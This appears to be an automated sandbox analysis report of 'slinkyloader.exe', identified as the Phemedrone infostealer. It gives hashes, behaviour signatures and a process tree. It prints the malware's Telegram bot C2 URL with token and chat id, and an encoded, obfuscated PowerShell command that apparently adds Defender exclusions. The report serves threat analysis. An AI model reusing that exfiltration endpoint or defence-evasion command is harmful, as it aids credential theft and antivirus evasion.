Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20250207-en
  • resource tags

    arch:x64arch:x86image:win7-20250207-enlocale:en-usos:windows7-x64system
  • submitted
    22/02/2025, 09:35

General

  • Target

    slinkyloader.exe

  • Size

    18.5MB

  • MD5

    16c3dea94d76e543f411d4c39c86fd2d

  • SHA1

    c746d6096bbfcf6e5fe1ee1f052ce87ebe2bf0a6

  • SHA256

    3d0136aa999263e36d344cdf9699be53a96872a6cc6a9426bb8fd40133366c3b

  • SHA512

    71d7a55c7bcbdcea7c814981e470a73da9d32d88810b4792e6f2530e8ae453cc06c82587eb5bda70d52d75295d643e8d531bbddd29d838d720757053b1d54726

  • SSDEEP

    393216:svmY2qQIpv7b01MkOYFld5xRwTOu3Uci7OkKprTWlKDtwOju3SLKyiYGLgN:TFUb0WtOlXxG6gUceOkW8KDt5j6QKIP

Malware Config

Extracted

Family

phemedrone

C2

https://api.telegram.org/bot6407909076:AAGyVRw-4LZlh90gO_hIHntE1PGp-GHKDII/sendMessage?chat_id=-1002357854454

Signatures

  • Phemedrone

    An information and wallet stealer written in C#.

  • Phemedrone family
  • Executes dropped EXE 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\slinkyloader.exe
    "C:\Users\Admin\AppData\Local\Temp\slinkyloader.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1048
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAeAByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAdQBlACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAbgB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGEAeAB2ACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2544
    • C:\Users\Admin\AppData\Local\Temp\loader.exe
      "C:\Users\Admin\AppData\Local\Temp\loader.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1672
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 1672 -s 772
        3⤵
          PID:1864
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 1048 -s 952
        2⤵
          PID:2404

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\loader.exe

        Filesize

        126KB

        MD5

        f231475bacd302b879efb7a01e2637dc

        SHA1

        5f13d4e11fa84d35d7fef1ae517546b356609ec6

        SHA256

        8f1e95d826c3e16ca5218cc7e44a608db4bdb42eff4a6fba6bd17709ef6ea800

        SHA512

        6094a1505e50b657184fc675e1d078d537fa76d74371ee8a928871e5b9302502b06582057c300752858e8242ee26b1687a2980d0778e6226ab8acdbe5af1ab5e

      • memory/1048-0-0x000007FEF4FE3000-0x000007FEF4FE4000-memory.dmp

        Filesize

        4KB

      • memory/1048-1-0x0000000000D00000-0x0000000001F82000-memory.dmp

        Filesize

        18.5MB

      • memory/1048-2-0x000007FEF4FE0000-0x000007FEF59CC000-memory.dmp

        Filesize

        9.9MB

      • memory/1048-16-0x000007FEF4FE0000-0x000007FEF59CC000-memory.dmp

        Filesize

        9.9MB

      • memory/1672-13-0x00000000002F0000-0x0000000000316000-memory.dmp

        Filesize

        152KB

      • memory/2544-9-0x0000000002C10000-0x0000000002C90000-memory.dmp

        Filesize

        512KB

      • memory/2544-15-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

        Filesize

        32KB

      • memory/2544-14-0x000000001B570000-0x000000001B852000-memory.dmp

        Filesize

        2.9MB